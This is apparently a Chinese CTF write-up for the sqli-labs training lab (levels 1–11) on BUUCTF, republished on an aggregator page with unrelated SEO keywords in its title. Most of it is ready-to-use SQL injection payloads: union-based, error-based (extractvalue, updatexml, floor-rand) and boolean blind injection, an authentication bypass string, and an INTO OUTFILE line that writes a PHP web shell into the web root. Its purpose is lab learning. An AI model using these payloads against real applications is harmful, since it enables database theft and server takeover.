您的位置:首页 > 文旅 > 美景 > 永久免费建个人网站_广州预约小程序开发_google关键词_如何建立免费公司网站

永久免费建个人网站_广州预约小程序开发_google关键词_如何建立免费公司网站

2024/10/5 3:07:06 来源:https://blog.csdn.net/2202_75354817/article/details/142507714  浏览:    关键词:永久免费建个人网站_广州预约小程序开发_google关键词_如何建立免费公司网站
永久免费建个人网站_广州预约小程序开发_google关键词_如何建立免费公司网站

Less1-2(联合注入)

?id=1
查询到用户名及密码
​​​​​​​?id='1
报错:You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''1 LIMIT 0,1' at line 1确定为MariaDB(与mysql几乎一样),且注入点为数字型
?id=1 order by 4 --+ 
测列数,--+将后面的语句隔断
order by 3时不报错,说明有3列
?id=-1 union select 1,2,3 --+ 爆出显位

原理:

union select之前的语句查询不到结果时,查询结果会变为1 2 3

在显位上查询相关信息
?id=-1 union select 1,database(),@@version --+

根据information_schema找数据库-表-列

1.从schemata里找数据库名schema_name

?id=-1%20union%20select%201,database(),group_concat(schema_name)%20from%20information_schema.schemata--+ 

2.从tables里找表名

?id=-1 union select 1,2,group_concat( table_name) from information_schema.tables where table_schema='security' --+

3.从columns里找列名

?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security'and table_name='users'--+

4.有表名,有列名,直接查

BUUCTF的flag在ctftraining数据库下的flag表flag列

Less3

通过加单引号查看报错,发现注入点为字符型且被包在括号中。所以要闭合引号和括号

?id=-1') union select 1,2,group_concat(column_name) from…… --+

Less4

这次是双引号加括号闭合

Less5(报错注入)

无回显,联合查询失效,只能通过报错来显示信息

1.XPATH语法错误——extractvalue

查数据库名:id='and(select extractvalue(1,concat(0x7e,(select database()))))
爆表名:id='and(select extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))))
爆字段名:id='and(select extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name="TABLE_NAME"))))
爆数据:id='and(select extractvalue(1,concat(0x7e,(select group_concat(COIUMN_NAME) from TABLE_NAME))))

2.XPATH语法错误——updatexml

爆数据库名:'and(select updatexml(1,concat(0x7e,(select database())),0x7e))
爆表名:'and(select updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema=database())),0x7e))
爆列名:'and(select updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_name="TABLE_NAME")),0x7e))
爆数据:'and(select updatexml(1,concat(0x7e,(select group_concat(COLUMN_NAME)from TABLE_NAME)),0x7e))

3.concat+rand()+group_by()导致主键重复(表至少有3行才能用)

爆数据库名:'union select 1 from (select count(*),concat((select database())," ",floor(rand(0)*2))x from information_schema.tables group by x)a
爆表名:'union select 1 from (select count(*),concat((select table_name from information_schema.tables where table_schema=database() limit 0,1) ," ",floor(rand(0)*2))x from information_schema.tables group by x)a
爆列名:'union select 1 from (select count(*),concat((select column_name from information_schema.columns where table_name="TABLE_NAME" limit 0,1) ," ",floor(rand(0)*2))x from information_schema.tables group by x)a
爆数据:'union select 1 from (select count(*),concat((select COLUMN_NAME from TABLE_NAME limit 0,1) ," ",floor(rand(0)*2))x from information_schema.tables group by x)a

原理:floor(rand(0)*2)得出一串重复的数字011011……,count(*)时,会构建一个 |值|出现次数| 的虚表。遇到0,表中没有,要把0插入,而此时rand会再次计算,导致值变为1了,所以1插入。第三条值是一,直接加1,第四条是0,表中没有,要插入,而此时又重新计算,导致插入1,而1已经出现过了,导致主键重复报错,错误信息会将查询结果显示出来
参考:关于floor()报错注入,你真的懂了吗?- FreeBuf
MYSQL报错注入的一点总结 - 先知社区 (aliyun.com)
sql注入之报错注入-CSDN博客

4.报错显示不全

最多只能显示32个字符,通过mid函数来分段查看

?id=%27and(select%20updatexml(1,mid(concat(0x7e,(select%20group_concat(flag)from%20ctftraining.flag)),1,32),0x7e))--+

Less-6 Double Query- Double Quotes- String (buuoj.cn)

Less6

双引号闭合

?id="-1 and(select extractvalue(1,mid(concat(0x7e,(select group_concat(flag) from ctftraining.flag)),32,45)))--+

Less7

into outfile语句用于将文件导入或导出

利用条件:

  1. 具有root权限
  2. 在数据库配置文件中的配置项含有:secure_file_priv=
    指定目录:secure_file_priv=/path/to/data,只能上传文件到此目录
    不限目录:secure_file_priv=
    禁止操作:secure_file_priv=NULL
    Mysql中输入  SHOW VARIABLES LIKE "secure_file_priv";  查看
  3. 知道数据库的绝对路径。

?id=1')) union select 1,2,"<?php @($_POST['cmd']);?> into outfile "C:/phpstudy/PHPTutorial/WWW/sqli/Less-7/2.php"--+

然后蚁剑

 找闭合的思路:id=1不报错;id=1'报错,说明单引号闭合;后面用--+注释掉,然后加上括号,引号等直到不报错,即为成功闭合;本题就是'))闭合

Less8(布尔盲注)

只有成功与否两种状态

用and连接substr(str,from,length),length(str)语句,逐个猜解数据库/表/列的名字的字符数以及名字

例如,?id=1 and length(database())=n,n循环猜解db的字符数

f"?id=1' and substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),{i},1)='{chr(j)}'--+")猜解表的名称

可以写py脚本自动化

参考:布尔盲注详细原理讲解_保姆级手把手讲解自动化布尔盲注脚本编写-CSDN博客

​​​​​​​Less11(万能密码+回显 )

admin' or 1=1 #)

版权声明:

本网仅为发布的内容提供存储空间,不对发表、转载的内容提供任何形式的保证。凡本网注明“来源:XXX网络”的作品,均转载自其它媒体,著作权归作者所有,商业转载请联系作者获得授权,非商业转载请注明出处。

我们尊重并感谢每一位作者,均已注明文章来源和作者。如因作品内容、版权或其它问题,请及时与我们联系,联系邮箱:809451989@qq.com,投稿邮箱:809451989@qq.com